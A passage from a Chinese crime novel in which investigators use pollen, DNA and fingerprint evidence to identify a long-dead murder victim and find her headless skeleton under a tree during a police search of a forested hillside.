说罢背起包逃也似离去。 “糟!老秦,会不会坏事啊,那个凶手如果真的是我们的同学,他很可能也看到你回来了。”章弥真突然意识到不对,身上的汗毛都立起来了。 “有可能,但对方并不知道我回来是干什么的。”秦梓需倒是很冷静。 “可对方应该会知道你是公安大学的老师,你回来是不正常的,他如果足够小心,应该会起疑。”章弥真道。 湳枫  “他如果胆敢上门找我的麻烦,我倒轻松许多,不用费劲去找他了。别担心,没事的。”秦梓需安抚道。 话虽这么说,章弥真这心里却开始七上八下起来。这就像是黑暗森林里的猎人突然暴露了自身所在的位置,秦梓需一下子就成了明靶了。 她越发懊恼起来,她就不该发那张照片,太不应该了! 秦梓需见她突然变得无比愧疚难安,心里明白她在想什么,她推着章弥真进了茶水间,将她按坐在椅子上,然后泰然自若地将两份面放进微波炉里加热,道: “吃饭吧,我都饿了。” “我……哎呀,实在对不起。”章弥真没有胃口,捂住脸庞,失魂落魄地坐在秦梓需对面。 “你知道我想要问那个跳桥女子什么问题吗?”秦梓需突然没头没尾地发问道。 章弥真一脸困惑,秦梓需笑着解释道: “我想问她,你是哪来的勇气,敢返回去捅了贼窝的?我觉得她的心理变化过程,验证了我的一个猜想——当年铁道抛颅案的被害者,是否也是出于这种心理,反向追踪凶手的。” “你……啊?”章弥真再次被秦梓需的思维震撼道。 “我思来想去,只有这一种可能性最为合理。不是凶手诱骗了被害者,而是凶手卖了个破绽给被害者,勾起了被害者的探求心,被害者是主动跟踪凶手,被调离了市中心范围后遇害的。 “当然我不鼓励这种冒险行为,我是想表达,今天跳桥女子的事儿突然点醒了我,人都是有主观能动性的。女人们一旦决心达成某个目标,都很胆大包天,绝非刻板印象中的柔弱被动。包括你,你回忆一下今天跟我跑进地下停车场时,你脑子里在想什么呢?”秦梓需盯着她。 “我啥也没想,追踪新闻第一现场就是我的职业,有事儿第一时间上,已经养成肌肉记忆了,我可以为此将生死置之度外。”章弥真道。 “哈哈哈,你这样我压力好大,我比你更要第一时间上呢。所以,事到如今,还能退缩吗?就当放了饵,接下来就看是鱼上钩,还是饵被吃。无非是大胆追踪,小心求证,防备黑手。该害怕的不是我们,是他。” 秦梓需话音刚落,叮的一声,微波炉加热停止,她起身把两份面取出来,端到桌子上,烫得直摸耳垂。 “真香啊,吃饭吃饭!”她兴奋地搓起一次性筷子。 “我真是服了你了!”章弥真喟叹。 …… 此后三日,调查有了全新的进展。法医报告暂时难产,但痕迹检测取得了巨大突破。 法医李之枚这些日子忙得昏天黑地,她日日夜夜泡在法医实验室里,和被害人的遗骸颅骨待在一处,仔细检验其上残留的所有痕迹。好在她的工作也逐渐进入尾声了。 突破在于本案相关的植物学鉴定很快出来了,刘雪莹完成了手头上的工作后,专门去给李之枚帮忙,秦梓需、章弥真最先拿到的就是关于植物鉴定的报告。 从运尸黑包上检测到的花粉,鉴定为秤锤树花粉。这种植物秦梓需、章弥真真是此前听都没听过,经过介绍,才知道是国家二级保护植物,东海省特有植物,仅分布于胥城西面的天平山山区。 这种植物是虫媒花粉传播路径,花粉较重,只能粘在昆虫身上进行传播,因此花粉传播的范围小于半径500米,很难传出天平山范围。 花粉表面吸附了硫化物颗粒,也通过环保部门的大数据比对到了2005年时天平山附近的一处小型冶炼厂,这处冶炼厂已经于08年关停拆迁了。 再加上秦梓需对于8路车公交线路的推测,天平山国家森林公园顿时成了侦查焦点。那里很可能是案发第一现场,也很可能是分尸和埋尸地。 秦梓需和刘雪莹汇合,二人一整天猫在办公室里,试图在天平山地图范围内找出最可能埋尸的地带。她们必须尽量缩小范围,以便后续开展搜查。为此,她们用上了最新的AI大模型辅助分析,综合分析了季节干湿、风向、山体地形扫描、水土流失方向、虫媒花粉传播路径等等诸多复杂因素,计算出了大致的范围,大概是一个500平米的梯形范围,在西南部背阴山坡的下沿一片地带。 同时,她已经将情况汇报给了刘明城。刘明城联系了天平山当地的派出所以及特警、警犬基地,随时待命,准备搜山。 尽管这么多年过去了,变数太多,但她们仍然打算试一试能不能找出一些线索。 章弥真另有任务,她正在试图背调此前和秦梓需一起排查出的5个人,搞清楚这5个人的家庭内部状况。这事儿很难做,由于已经泄露了秦梓需返回胥城的事,再加上此前她已经用调查问卷的借口查过一遍当年的同级学生了,她必须格外小心,不能继续打草惊蛇。 直接联系线人打听是不行的,她害怕走漏风声,因此她决定换一种背调方式。 秦梓需给了她一份铁道沿线上下乘散射图,是她熬了一个大夜做出来的成果。这散射图反应了三趟嫌疑列车上的嫌疑乘客的分布情况。 有了图表的直观展示,一切都变得清晰起来。这三趟车乘坐了相当多的学生乘客,其中主要下车地点很集中,分别是三处——东海市、济南市、北京市。 在这其中,又尤其是在东海市下车的人最多。 在5人名单里,有4个人都是在东海市上的大学,1个人是在山东大学上学。全部都在嫌疑范围内。 但东海市远在抛尸地点的前站,反倒是济南市在抛尸地点的后站。如此思考,尽管无法排除凶手故意混淆视听,过站抛尸后再返回的可能性,那个唯一在山东大学上学的沈赓嫌疑仍然陡增。 章弥真决定查查看这5个人当年到底是坐了哪趟车去上学的。 为了要查明白这个问题,章弥真这两天独自跑火车站待了半天,试图找到点灵感。 她没有白跑,因为她看到了好多拖着行李箱来往的大学生,这些学生都是来胥城上大学的学生,正好放暑假了,乘车返回家乡。 这让她灵光乍现,想到了大学接新生,都会在火车站设置接待处,新生做登记后,便可登上校车,集体接驳去学校。这个传统伴随着大学扩张也已经有二十余年历史了,想必05年那会儿也一样。 她需要查的就是当年这5个人所在的大学的新生登记记录。 尽管确定了思路,可真查起来却又困难重重,毕竟15年过去了,这些资料不知道大学还是否保存着。 章弥真打电话去查,令她惊喜的是,大学是会保存新生登记表作为档案的内容的。章弥真大学是出国上的,对国内的这些事真的不大了解。但她无比感激大学管理能做到如此细致的地步。 新生登记表内就有报到时间和入学交通方式的记录。而且这新生登记表是学生档案的重要组成部分,学生毕业后会随个人档案转出。个别学校会留副本保存,这其中东海师范大学、东海大学和山东大学都有副本保存,可以直接调阅。 但东海外国语大学和胥城工业大学没有保存副本,章弥真不得不去公共就业人才服务机构查阅。 经过好一番波折,章弥真终于查到了这5个人的报到时间和交通工具。但令她傻眼的是,这五个人都是在8月30日之前抵达学校报到的,谁都没有登上过8月31日的列车。 这下章弥真彻底迷茫了,难道真如秦梓需所说,嫌疑人不在这5个人之中,我查错了吗? 被这个问题困扰到凌晨2点都无法入睡的章弥真,突然看到床头柜上的手机亮起,她连忙查看。 是蓝信群里有新消息,而且是一条爆炸性的好消息:已确认抛颅案被害人,正是寄信人赵蕾。明日一早,刘明城将立刻向省厅上报这个消息,并立即正式重启抛颅案调查。陈老师家的爆炸案和抛颅案很有可能会正式并案调查。 第24章 第二十四章 一大早,秦梓需就已经坐在途观车里等待了。此时的她正在市局停车场里,等着刘雪莹、李之枚来跟她汇合,接上二人后,她还要绕道去接章弥真。 今日是搜山的日子,她们作为主侦肯定是要抵达现场的。刘明城已经先走一步,去现场组织协调了。 昨晚刘雪莹在群里发了一条好消息,说她有新发现,确认寄信人赵蕾高度可能是抛颅案被害人。之所以还未能完全肯定,是因为DNA测序方面还存在一定疑问。具体情况她也不曾详细说,约定好今日碰头后再细说。 她没等一会儿,身着夏季执勤服的刘雪莹、李之枚一人拖着一个黑色行李箱快速跑了过来。秦梓需下车,帮着二人把箱子抬入后备箱,这箱子是痕检和法医工具箱,里面还有一些搜查用的仪器。 其实还有另外三组痕检和法医会到场帮忙,并不只是她们。 三人上车,秦梓需抓紧时间驱车往城西驶去。 半途,刘雪莹给李之枚递了蒸汽眼罩和耳塞,道:“枚姐,你先睡会儿吧,这两天你真的几乎没合眼。” “谢谢,我睡一会儿就好。”李之枚接过了眼罩耳塞,戴上后立刻尝试入睡。 刘雪莹也显得很疲惫,拿着颈枕套上,闭目养神起来。 秦梓需没急着询问刘雪莹关于昨晚在群里提及的新发现,她打算等章弥真上车后再行讨论。当下她只是尽量将车开得稳当些,让后座两人能舒服入睡。 秦梓需开了大概一刻钟,在约定好的地铁站路口接上了章弥真。章弥真是昨天白天得到秦梓需的消息,得知今日要参加天平山搜山的。她今日没开自己的车,早上直接从家里出来,乘坐地铁抵达约定好的位置。 章弥真坐入副驾,刚系好安全带,秦梓需就一脚油门飞窜而出。她很着急,恨不能直接瞬移到现场去。 “早,吃早饭了吗?”章弥真跟她打了声招呼。 “吃过了。”秦梓需道,“你呢?” “我还没吃。”说着章弥真从自己的斜挎胸包里掏出了三明治和牛奶,“唉,你说我吃这个,一会儿见着了尸体不容易吐吧。” 秦梓需:“……” 刘雪莹噗嗤一声笑出来,道:“这个你得问枚姐,她最清楚了。” 李之枚有气无力的应道:“只要不吃大荤或腻味的东西,应该都还好。不过也不会让你见尸体的,放心吧真真。” 真真?秦梓需对这个亲昵的称呼迷惑了一下,感觉颇为陌生。她瞄了一眼章弥真,对方神色如常,对这个称呼似乎早就习惯了。 “就算发现了尸体,也早就白骨化了,不会特别恐怖或恶心。”秦梓需补充道。 “那我就开吃了。”章弥真剥开包装纸,咬了一大口,含混道。 秦梓需见她今天一身的运动休闲装扮,戴着防晒袖套、帽子和面罩,足蹬登山鞋,脸上还架着一副墨镜,心想不知道的还以为她今天真的是去登山郊游呢。 章弥真吃饭很快,一个三明治被她三口两口就下了肚,喝牛奶的功夫,她已经用手机又处理了一些工作消息。 她一边将自己的早餐垃圾扎袋,一边对秦梓需道: “老秦啊,我这里查得不大顺,那5人名单,都被排除了。” 说着就把自己查的全过程讲述了一遍,秦梓需仔细听着,待她说完,一时没说话。后排的刘雪莹和李之枚也不睡觉了,都听在耳里。 刘雪莹困惑道:“这到底是哪里出了问题?” 秦梓需道:“很难说是哪个环节出了问题,因为这个推理之中的假设节点太多了,能够实证的环节又太少,不过既然已经证实了这五个人抵达大学报道的时间,那这五个人就可以排除掉了。” “那我们接下来该怎么查呢?”章弥真显得很迷茫。 “笨功夫,先剔除掉比较冒进的推理条件,退回上一步,把嫌疑圈缩小在与我们同届的,陈老师带的胥中学生身上,其余条件不变,仍然是男性、初三时身高已超过175cm,家庭有医药背景。但此人不一定是在鸿鹄教育补习的学生。” “凶手不是鸿鹄教育补习的学生,为什么被害人会出现在鸿鹄教育?”章弥真问。 车遇上红灯,秦梓需踩下刹车,趁机解释道:“这就无法推测了,也许被害人也跟我们一样在一点一点查凶手的下落。我大概能推测的是,被害人手里很可能握有凶手的明确指向信息。她也许不知道凶手的确切姓名,但知道某些特征。这也是凶手为什么要杀她灭口的关键原因。” “所以你的意思是,我们还是得先查被害人到底是谁?”章弥真道。 秦梓需点头,迎着绿灯继续向前行驶:“对,搞清楚被害人到底是谁,找到陈老师寄给她的信,弄明白她到底知道了哪些关于凶手的信息,我们才能真正有所突破。” “唉……我怎么感觉希望缈茫啊。”章弥真忍不住说了句丧气话,“万一她把陈老师的信随身携带,那信必定落入凶手的手里,被毁掉了。” “我不这么认为。”秦梓需摇头道,“我认为被害人也许是在做足了准备后才来到胥城的,她没有随身带着陈老师信件的必要。 “她在三年前陈老师刚刚亡故时就来过胥城,得知陈老师的死讯后很快就离开了。三年后,她再次返回胥城,这三年时间,她到底在做什么? “我认为她三年后的这次重返绝非突发奇想,她应该有预见到此行的危险性,那些陈老师的信件,她多半不会随身携带,而是会寻找一个稳妥的地方存放。万一她出了什么事,这些信件仍然还能作为证据留存。” 李之枚发话了:“秦老师,你说得很有道理,我也认为咱们必须得去一趟云南。 “我这两天验尸,其实发现不算多,验证的都是前人早就验证出的结果。诸如被害人是被乙/醚迷晕的,被害人是在活着的状态下被斩下头颅,被害人的头颅是被放入铝制的高压锅内烹煮的。 “唯一可以称得上新成果的,就是我用最新的法医学模型重建了一次被害人的脸部模型,与张鑫老师的画像别无二致。从这幅面容的面相地域特征来说,被害人是东南沿海地区的人的概率比较大。 “那朵夹在信里的紫云英,我也做了植物学分析,锶同位素我提取出来送去比对了,现在能确定的是这是晚花型紫云英,主要生长在云贵高原。并且我在花瓣上还检测到了水稻花粉,判断这株花可能生长在稻田附近。具体经纬,还得等锶同位素检测出来,才能确定。 “您别怪我乌鸦嘴,我个人认为,这次天平山搜山可能不会有什么结果。15年时间过去了,变数太多,凶手有足够的时间来转移尸骨。这一次搜山,无非是下一个定论。我感觉,我们应该可以早做去云南的准备了。” “天呐枚姐,求您别说了!”刘雪莹哭丧着脸道。 章弥真回头看向后座道:“对了小雪,你快讲讲你的新发现?你是怎么确认赵蕾就是被害人的?” 刘雪莹笑道:“就是那封信,上面查出了不少指纹,其中有一组指纹与眼镜盒和眼镜上的匹配,是陈君梅的指纹。还有一组指纹比较陌生,尤其是附着在信纸内侧,应该是寄信人赵蕾的指纹。信封表面的指纹比较杂,毕竟有邮差和传达室的人接触过,里面也有赵蕾的指纹出现。 “我尝试从信纸上提取寄信人的DNA,想着至少要碰碰运气。运气还是不错的,被害人在写信时似乎感冒了,一直有咳嗽打喷嚏,信纸边缘遗留了不少非常细碎的唾液痕迹。我还真提取到了一些微量的DNA。 “信件的存放地点不是特别理想,并非低温环境。但也符合了干燥、密封两个条件。样本高度降解了,但仍然有检测价值。 “我赶紧带着样本去找枚姐,我们用了最新的NGS技术,尝试与颅骨骨髓内部提取的DNA片段进行比对,吻合程度很高。 “如果是科学论文,其实还不够严谨。但单纯从刑事证物角度来说,其实已经可以确定赵蕾就是抛颅案被害人了。” 章弥真听得云里雾里,但就是觉得很厉害。 “能确认这一点,就足以让省厅重视起来了。”秦梓需补充道,“所以今天的搜山,本来靠的是刘总的面子拉来的队伍,现在有了省厅直接下达的命令,各单位都会重视很多,被调来的队伍也比预计的要多。” “那就好,能减轻点我们的负担。”章弥真打了个呵欠道。 这个呵欠就像会传染似的,讨论过案情的一行人,很快就没了声响,刚上城西快速路时,只剩下秦梓需还醒着,其余三人都已入眠。秦梓需无意间瞄了一眼章弥真,她歪着脖子睡着,戴在脸上的墨镜歪了,露出发青的眼底。 秦梓需心中愧疚暗生,章弥真这些日子也真是辛苦了,秦梓需自己有过一段时间的失眠史,知道失眠的滋味有多难受。直到现在她的睡眠都很浅,也不足7个小时。心理医生跟她说,要想彻底改善睡眠,她必须得彻底放下心理负担,秦梓需知道自己的症结在哪里,这次回来查案,也是为了给自己的心寻一条出路。 昨天南丰区分局的耿剑秋联系她,说跳桥女子状态好转了,可以见面。于是她单独跑了一趟医院,见到了那位跳桥女子。据医生说,她的记忆是因为车祸暂时丢失的,现在已经在缓慢恢复。她记起了自己是谁,也记起了自己来自何方。 她名叫何文月,来自胥城北郊的梅村,她有先天智力残疾,但不是特别严重,一般情况下行为举止与正常人无异,就是反应慢一些,识文断字、做数学计算会有些困难,时常会沉浸在自己的世界里,很难对外界做出反应。 她上了几年残疾学校,然后被村干部安排到村口的超市当理货员,这份工作虽然收入微薄,但她做着倒也合适。她家里父母常年在外打工不回家,她跟着年迈的姥姥生活。姥姥腿脚不好,已经不能多走动,她还负担着家中每日的家务。 大概一年前,她开始被一群小混混骚扰,他们都想欺负她。她不堪其扰,但又不大会求助,有一回为了逃脱小混混的骚扰,她跑到了乡道上,被一辆车撞了,头部受到了冲击,她因此晕厥并丧失了短期记忆。 她醒来时发现躺在一辆面包车之中,手脚都被捆绑住,连嘴巴都被塞上了。她就是这样落入了贼窝。她在那帮歹徒的控制下生活了近一年,时常被虐待,身体恢复得不好,以至于肢体出现了不协调的状态。但她没有一刻不想着要逃走,为了逃走她失败了很多次,那帮人为了惩罚她,还强J了她。 但她还是努力开动并不聪明的脑筋,想到了脱身的办法,那就是闹自杀。 秦梓需问她:“你既然逃出来了,怎么还有勇气回去的,你就不怕再被他们抓住带走?” 何文月道:“我没想那么多,我就是想起他们来了,我想抓住他们,好人要活着,坏人才该死。你说过,有事儿就给你打电话,你是北京来的警察姐姐,我相信你能帮我抓住他们。” 秦梓需一时喟然,她是一个如此单纯的人,认定了的事就立即付诸行动。赵蕾又是否也是这样的人呢?她来到胥城,独自缉凶,又该抱有怎样的决心和毅力?要知道那会儿的爆燃案早已被定性为事故,凶手也根本是无踪可觅,她作为一个并无执法权且毫无刑侦经验的普通人,要想查清此事,又该有多迷茫困顿呀。 带着这样无尽蔓延的思绪,秦梓需一路驾车飞驰。直到前路远方出现了翠绿色的低矮山峦,她知道天平山脉已映入眼帘。 第25章 第二十五章 天平山国家森林公园位于胥城西南,是一片丘陵地带,虽说是山,实际海拔最高不超过300米。这里已经被打造成了胥城市民周末休闲露营的好去处,山上散布着不少景点,有古刹、名泉、名人遗迹和动物园,还有诸多露营营地。 车子最初还开在铺设规整的柏油马路上,但秦梓需很快就方向盘一拐,从正道旁的一个缺口开入了一条爬山土路。这条道比较颠簸,大概是挖机简单挖出来的,上面加压了一层碎石子。 车子一路沿着山腰穿行,终于开进了连石子都没有的土路之上,这土路不过2米宽,两侧植株繁茂,刮蹭着车身,不时发出啪嚓折断的声响。 糟糕的路况使得车子就像怒涛之上的船一样摇摆不定,将车上昏睡的三人都颠醒了,章弥真又打了个呵欠,睡意朦胧地望着周遭的景象,吐槽了一句: “这什么路啊……” 她扭头一看秦梓需架在支架上的手机,车子居然已经开出了导航的范围。 “老秦?你认识路吧,这是往哪儿开呢?”她扶了下墨镜问。 秦梓需解释道:“当然是往测算出来的埋尸地点走,要去那个地方还真比较困难,没有直通的大路可走。天平山管委会给我发了一个手绘的路线图,这条路应该是护林员往日里会走的路,他们一般开的是三轮,路比较窄,走咱们这种SUV比较勉强。你们忍忍,应该快到了。” “我也是服了你和小雪,居然能用AI大模型算出来埋尸的确切位置。能缩小到300平米的范围,已经相当不容易,整个天平山范围那得多大呢。”章弥真感叹道。 “其实我真的压力山大,但愿没有出错,不然让那么多同事白忙活,我真的会抬不起头来。”刘雪莹真诚祈祷。 “别紧张,找不到责任也是我担着。”秦梓需安慰她。 车子在山里穿行了大概10分钟,忽而爬坡,忽而又下山,最终她们终于在没有路的前方看到了早已抵达的数量越野车,还有一辆警用运兵车,这几辆车停在一片尚算平整的空地上,秦梓需的车一停下,这空地就被填满了。 众人下车。章弥真关上车门,伸了个懒腰,吸了吸周遭新鲜的空气,她眯着眼望着山坡下,下方的坡地是一片林海,遍布着大量乔木,章弥真植物学知识有限,不知道那些乔木是什么树,只知道并不特别高大。树林之中,攒动着好多人影,隐约还能见到穿着马甲的警犬在不断游走。 章弥真不禁问道: “诶,老秦,你说当初凶手到底是怎么把赵蕾一路弄到这里来的?就算他把赵蕾吸引到天平山来,赵蕾会跟着他走到这么偏僻的地方吗?赵蕾难道都不起疑的吗?” “我也在想这个问题。”秦梓需道,“我始终没有想明白凶手到底是用了什么样的诱骗方法,引导赵蕾一路牢牢跟着他走的。也许这个问题,只有抓住他之后才能知道了。” “喂!!!在这儿!”此时坡下已经有人在喊她们了,秦梓需望过去,发现正是南丰区分局的耿剑秋。 耿剑秋的身边还站着几位领导模样的人,他们立在坡下密林的边缘,尚未深入到密林之中去。 “是他?他怎么来了?”章弥真面露不悦,她对这个耿剑秋的初印象不好。 “属地管理,赵蕾最后出现在南丰区地头上,区分局应当是责任单位。”秦梓需一边解释,一边率先顺着山坡往下去。 李之枚、刘雪莹在后,她们拖着工具箱,行动起来颇为费劲。 “枚姐,小心。”章弥真在最后,一直拉着运动细胞并不发达的李之枚,搀着她小心翼翼往下挪。 刘雪莹稍微年轻,身体素质也不错,跟着秦梓需脚步伶俐地往下走。 待秦梓需走到耿剑秋跟前时,几位领导的目光都集中在她身上了。耿剑秋为她一一做介绍,这几个人分别是警犬基地的领导,特警队的领导、天平区分局刑警大队大队长和市局的刑侦支队支队长。 秦梓需到市局也有几天了,还是第一次见这位支队长。她也是刚刚从外地出差回来,昨天傍晚一回来就接到抛颅案重启调查的任务,今天便立刻投入工作。 这是一位四十余岁的干练女性,刑警队中极为罕见的女性刑警队长,也是校长最为得意的弟子之一。身高和173cm的秦梓需大致相当,剪利落短发,宽松黑衬衫配牛仔裤,身材修长。戴一顶棒球帽,帽檐下一双开阖间有神光的丹凤眼,眸光锋锐无匹,气势逼人。 “秦老师,您好,我是谢云卿。”她将本来握在右手中的对讲机挪到左手,腾出右手伸向秦梓需,主动自我介绍。 “您好,谢支。”秦梓需与她握手。 “实在抱歉,之前出差不在,这个案子多亏您坚持不懈,我们才能找到重启的契机。惭愧,本来应该是我们的分内事。”谢云卿道。 秦梓需忙谦逊摇头,说了两句客气话。 谢云卿却道:“我和刘总请示过省厅了,关于这起案子,您相当于是部里下派的刑侦专家,重启后本案仍然由您全程负责主侦,我们地方上全力配合。” “这……这不好吧。”秦梓需吓了一跳,她一个公安大学的老师怎么好抢了地方办案的权限。 “校长已经和部里打过报告了,秦老师安心做事就好。”刘明城笑道。 秦梓需登时觉得肩头的担子沉甸甸的。 这权限划分的话放在最前头说清楚后,谢云卿便直入主题,向秦梓需介绍当前的搜查情况。这次一共调了10条警犬,拢共50余人的搜查队伍,对这300平米的山坡区域进行地毯式搜查。 周围已经拉上了警戒带,警戒带圈起来的范围是精确按照秦梓需、刘雪莹给的测量图标定的。搜查策略是,让警犬先在这个范围内进行搜寻,同时用GPR(地质雷达)和荧光光谱仪对地块进行全面扫描。 地质雷达能够探测浅层埋葬物,分辨率可达几厘米,尤其适合松软土壤。但会受土壤湿度、盐碱度影响,金属物会干扰信号。荧光光谱仪能够检测土壤中微量荧光物质,如人体组织分解产生的氨基化合物。即使尸骨完全腐烂仍可残留痕迹。二者交叉搜索,可以尽量得到精确反馈。 “如果这样搜都没有结果,为保万一,还会用最老的办法——打格子人工挖。不论凶手到底有没有转移尸体,我们都会想尽办法在这里找到线索。”谢云卿道。 秦梓需点头,此时李之枚和刘雪莹已经从箱子里取出带来的仪器,加入了前方正在搜查的队伍。 章弥真气喘吁吁地在秦梓需身旁站定,抹了把汗,刚才一路下来,她帮李之枚抬箱子颇费了番功夫。 没防备谢云卿见着她,又伸出手来和她打招呼,章弥真气还没喘定就得应付这位女支队长,对方的气场一瞬间就控住了她,她心中暗自感叹:好可怕的女人。 随即瞄了一眼秦梓需,对比之下,秦梓需真是越发温柔可爱了,这差别,就好比杜宾犬和萨摩耶。 之所以有此联想,是因为章弥真刚才一直在关注搜查犬,这次出勤的搜查犬主要以昆明犬和罗威纳为主,训练有素的警犬完全不会胡乱吠叫,在警员的引导绳牵引下耸动着黑乎乎的鼻子,细细嗅着每一寸土地。 她一直都很喜欢狗,奈何她太忙了,没有时间照顾活泼需要陪伴的狗子,只能羡慕有狗的人。 她好想去摸摸那些狗狗,奈何现在不是时候。 秦梓需和谢云卿、刘明城讨论起湳枫案情的最新进展,还有她的一些思路。章弥真觉得自己插不上话,就打算趁此时机抽空用手机处理一些她自己的工作。 不过在那之前,她先给现场来了几张照片,作为资料留档。 令她没想到的是,秦梓需和谢云卿聊了没两句,就提出要去深入现场看看。章弥真见秦梓需迈步就走,连忙追了上去,她可不想和这些领导站在一处,实在是太别扭了。 “老秦,等等我!”她压着嗓子喊道。 秦梓需回头看她,章弥真几步赶到她身边,忍不住吐槽道:“这位谢支气场也太强了吧,刘总都被她压下去了。” “你居然会说这种话?你要有自知之明,你手底下的同事们见到你,和你见到她的感觉是一样的。”秦梓需笑道。 “瞎说,我比她和蔼可亲多了。”章弥真不肯承认。 “小王见大王,一山更比一山高。”秦梓需评价道。 “……”章弥真第一次感到语塞,片刻后她两手一摊,道,“好吧,我会继续努力的。” 两人虽然在贫嘴,可心中却半分不轻松,压力在心头积累,她们都希望尽快找点什么出来。 “你转什么呢?”章弥真见秦梓需眸光一直在四周游走,盯着那些叫不出名字的树木,不知道在找什么,不由得询问道。 “我在思考一个问题,如果凶手当年埋尸后,就考虑到后面要转移尸体的问题,他是否会给埋尸地点做标记,否则他再回来后,恐怕很难准确找到埋尸的地点。”秦梓需道。 “做标记……不会让别人发现吗?他埋尸的目的就是不让人发现呀,这做了标记,岂不是聪明反被聪明误了。”章弥真道。 “他可以做一个更聪明的,不会被别人发现的标记,比如在埋尸的地方种上一棵树,这树本身就是标记。”秦梓需道。 “啊?他哪来的树可种啊?”章弥真被秦梓需的这个想法惊到了。 秦梓需解释道:“你看,这片山坡的树木是不是看着年岁都不大?我查了一下资料,和枚姐、雪莹也讨论过。天平山在05年春季引进过一批枫香、麻栎树种,进行植树造林,目的是为了保护珍稀植物秤锤树。 “原来这片山坡都是荒草,秤锤树自然种群就在这个坡子的东面。枫香、麻栎作为上层树种,可以遮蔽过盛的日光,符合秤锤树喜阴的特点,加上叶片松散宽大,也有足够的日光可以落进来,正正好。麻栎可以改善土壤结构,吸引传粉昆虫,间接促进秤锤树授粉。 “所以到了当年的8月,这片山坡其实是一片刚种下去几个月的树苗,并非现在看到的这种模样。这些枫香、麻栎其实树龄不过15年,看上去都不很粗壮。 “如果只是刚种下去几个月的树苗,凶手挑一株,在其下埋尸,然后做标记,就会轻松许多了。 “所以,你帮我找这样一棵树,它很可能根系遭到过局部破坏,出现不正常的枯萎或落叶。尸体腐败造成的酸性物质积累和病原菌传播也很可能影响了它的生长,它的根系可能存在一些真菌菌种,同时由于根系不能均匀铺展开来,它的树干可能是歪斜的,它的根系内可能存在食腐昆虫的虫蛀痕迹。” 章弥真怔然片刻,感叹道:“老秦,你这脑子……确实厉害。” 第26章 第二十六章 “你怎么不把这个想法和领导说说,这样大家找起来不更有目的性嘛。”章弥真问秦梓需。 “我的这个推想只是出于对凶手心理的揣摩,没有实证,不好服众。还是咱们先找找,实在找不到再说。”秦梓需的顾虑比较多。 章弥真心想老秦大概是这么多年独来独往惯了,也习惯了没有人打配合的状态,对于现在的顺风局反而显得不怎么适应。 无所谓,反正没事干,就陪着她在这林子里找找吧。 但章弥真很快就发现自己完全低估了夏季森林的湿度,虽然林木茂密,遮蔽了灿阳,山风徐徐显得十分凉爽,可在这凹凸不平、崎岖难走的坡道上行走,颇为耗费体力,很快她就汗湿衣背了。 她们寻找的策略是从坡端往坡下横向扫过,一株树一株树地查,如此一排一排如贪吃蛇一般走过去,查了半个小时,也不过走过了半片区域。 章弥真实在有些累,顿住脚步,取出挎包里的水拧开喝了几口,看着前面还在兢兢业业不断查找的秦梓需,喊道: “老秦,你喝水吗?” “不喝。”前方传来秦梓需的简略回答。 这人是机器人吗?体力也忒好了。章弥真暗自吐槽了一句,然后迈开步子追上去。 “雪莹和枚姐到哪儿去了?怎么一眨眼的功夫就不见了?”她奇怪问秦梓需。 “我让她们从坡底往坡上查,这样节省时间。她们手里有仪器,应该会比我们查得更快。”秦梓需说道。她手里握着一个小铁镐,扒开树根附近的土壤和腐殖质,仔细查看根部情况,为了搞清楚这树是不是根部被腐蚀,她平均要耗费3-4分钟才能看完一棵树。 她查根部,章弥真负责查枝干和冠部,章弥真一直仰头向上看,到处都是千篇一律的树干和绿叶,她感觉眼睛花了,脖子也酸了。 她性情略有些急躁,不是很喜欢做这种磨人性子的繁琐工作,她更适合对抗性的和富有创建性的工作。但参与刑侦工作以来,她每天都在干磨人性子的工作,这几天下来,将她磨得吃不下饭,睡不着觉,实在是艰难。 好在上天眷顾,正当她为不知何时是尽头而哀叹时,忽而蓝信来消息了,是刘雪莹的消息: 【找到了,你们快往人多的地方来。】 秦梓需和章弥真登时一喜,眼见着附近搜寻的民警们的对讲机声音此起彼伏,林子里骚动起来,大家都在往同一个地方集中,她们还听到了喊声: “喂!找到了!” 她们立刻顺着人群快步跑起来,章弥真刚跑了两步,没留意脚下的松土,差点从一个被杂草覆盖的坡子上摔下去,好在她自己反应够快,扶住了一株树站稳了。 但她脚踝一阵刺痛,知道自己这是崴了脚了。 秦梓需不知道她在后面出了状况,只顾自己埋头往前跑。章弥真倒也没怪她,自己现在也兴奋至极,兴奋中还带着一丝害怕,怕真的看到尸骨。 但她终究还是大着胆子,一瘸一拐地继续往前赶。 待赶到近前,她发现自己多虑了。人群已经里三层、外三层地将一株树给围住了,她根本到不了近前。 她干脆不去凑那个热闹了,离开一段距离,找了个落在地面上的树根坐下来,一边揉搓自己的脚踝,一边寻找人群中的秦梓需。 秦梓需已经挤进人群核心之中去了。大家七嘴八舌,章弥真根本不知道内里什么情况。 后方的领导也赶过来了,不知是谁下了命令,队伍立刻整肃起来,饲养员牵着警犬列队在旁站好,除了痕检、法医之外的非技术警员也都散开,按照单位各自列队,将中央场地让开。 谢云卿几步上前,询问正蹲在树根附近的几个人情况,她嗓音清亮,恰好传入章弥真耳中: “什么情况?” 刘雪莹回道:“狗先嗅出来的,我们过来用仪器一扫,发现这棵树的树根位置很可能存在尸体。” “好,你们先清理。”谢云卿的面庞终于阴转多云。 汪汪队立大功!章弥真望向蹲在树旁,吐着舌头一脸呆萌的一只昆明犬,心头充满欢喜。 痕检和法医拢共七八个人开始清理树根附近的土壤,专业的事专业的人做,秦梓需退到一旁,目不转睛地盯着清理工作一点一点开展。 章弥真等了一会儿,终于还是坐不住,扶着树站起身,强忍着脚痛挪到秦梓需身边,将手臂搭在秦梓需的肩头,道: “我脚崴了,让我扶一下。” 秦梓需身高比她要高5厘米,章弥真手搭着她肩膀还有点费劲。 “啊?你没事吧?”秦梓需这才注意到章弥真的状况。 “没事。” “我送你回车上吧,车上有急救药箱,先处理一下。”秦梓需转开肩膀,抬手扶住她手肘。 “没事,真没事,我想看挖掘结果。”章弥真攥住秦梓需的手,硬是咬牙钉在原地,不肯走。 秦梓需见她如此坚持,也不再说什么,只是搀扶她手臂,让她的身体能倚靠站稳。 她们目不转睛地又在原地站了半个多小时,树根底部逐渐被清理出来了,一个令人终生难忘的诡异景象逐渐呈现在众人眼前。 密簇的根须如巨型昆虫的茧蛹包裹在一副散碎的人体骨架之上,根须间产生了板结,黏连着难以清理干净的泥土,以至于树干向尸骨的一侧出现了枝干枯萎、叶片黄化的状态。 骨架无头部,森森白骨上遍布着黑斑,那似乎是虫蛀的痕迹,触达骨架的根须上端,树干已然被蛀空。 